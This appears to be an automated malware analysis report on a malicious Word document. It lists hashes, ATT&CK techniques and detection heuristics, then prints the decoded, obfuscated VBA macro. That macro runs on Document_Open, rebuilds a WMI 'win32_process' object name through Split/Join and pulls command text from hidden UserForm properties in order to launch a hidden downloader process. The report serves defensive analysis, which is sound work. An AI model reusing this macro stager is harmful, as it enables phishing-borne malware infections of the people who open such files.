Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4d904aa0bdf9fdf5…

MALICIOUS

Office (OLE)

169.9 KB Created: 2020-07-28 14:54:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: ea4139290c862e58ee7b2a357a6742ff SHA-1: 75eb6ac24dec1f488a89db2addacf39c56ec793f SHA-256: 4d904aa0bdf9fdf5bcda9bac7ea6d7a0e9c1fb9a377ade0bba7b8af2db55aa1f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. Heuristics indicate a command stager using UserForm properties and CreateObject, suggesting the macro's purpose is to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Logan-9242439-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Logan-9242439-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5150 bytes
SHA-256: 5aae3ebfe2218cd9bb3c863ab2cd42c7ee9e7c2138e66d65510d766bde7c62b5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VZTOHvyfnwyyq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
MSIDJpgtittqzsferz.QKGZGrvbragz
End Sub


Attribute VB_Name = "MSIDJpgtittqzsferz"
Attribute VB_Base = "0{686CC88F-49B8-43F1-9347-561E613C6A11}{E7B88FDE-D156-4E77-9832-5B79515C68D4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function QKGZGrvbragz()
GFWLXrbzuclbd = Chr(MSIDJpgtittqzsferz.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
WIFVEfflwfabz = "OKQUCzrvkafzb"
Loop
BDQXBhijkkazu = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + GFWLXrbzuclbd + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + MSIDJpgtittqzsferz.DCHPWlaentra + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
SYOMObxsczqnepntwbb = "RKNVQyobxfqedhsxrnn"
Loop
UHOBSfwnyxahsqwx = BSWQAqeayxwrnvv(BDQXBhijkkazu)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
IWIRDpvcirddxegilsw = "MWUXJlkwwpcjncov"
Loop
Set IAOHXzwvdexhkkuda = CreateObject(UHOBSfwnyxahsqwx)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
EZCJYshuhuymyx = MSIDJpgtittqzsferz.KUTLPkorckynruql.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
WSADLsgbmhyb = "MYRYLmblhrfyfso"
Loop
YEBVZiytpgahmzqovkq = NN + (UHOBSfwnyxahsqwx + GFWLXrbzuclbd) + MSIDJpgtittqzsferz.REANGrpvagsozvksy.ControlTipText + EZCJYshuhuymyx
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
NNDAHidkjiil = YEBVZiytpgahmzqovkq + MSIDJpgtittqzsferz.DCHPWlaentra
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
PUPKGoavlbdnvwelum = "DRPQCuqoavfg"
Loop
Set RSGDAsbooxgehxljd = XVEDSrylakouixbe(NNDAHidkjiil)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
RGWMJreyyvmk = "NPKNUdsqlcaemq"
Loop
uiii = Array("BNSBSBBSSS", IAOHXzwvdexhkkuda. _
Create(OIYBElmseoozselmxc, ZAZGUcwoascdiefv, RSGDAsbooxgehxljd), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function XVEDSrylakouixbe(TNLLJzziqmufjubjits)
Set XVEDSrylakouixbe = CreateObject(TNLLJzziqmufjubjits)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
GTGBDnbbnkgd = "IWBOYxwfpgrakurakm"
Loop
XVEDSrylakouixbe.showwindow = (HXXTJnvnxfhsp + DKFCTfhzxqnpats) + (BDYAWykcrackyai + BQGKMxqgxhahgunc)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function BSWQAqeayxwrnvv(XBMSMcjfdglufwo)
XXPBJsukmkhbkzig = XBMSMcjfdglufwo
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
ODDUPneacksdwbxhzn = "MHXDNrcpycwxnaq"
Loop
OVFUBedgqqml = Split _
(XXPBJsukmkhbkzig, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
WFSMCbkjnxdbgda = "GDPNQaqdmyfxg"
Loop
DINFAhhkqylutgpxmis = kooooo + Join(OVFUBedgqqml, buuuu
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.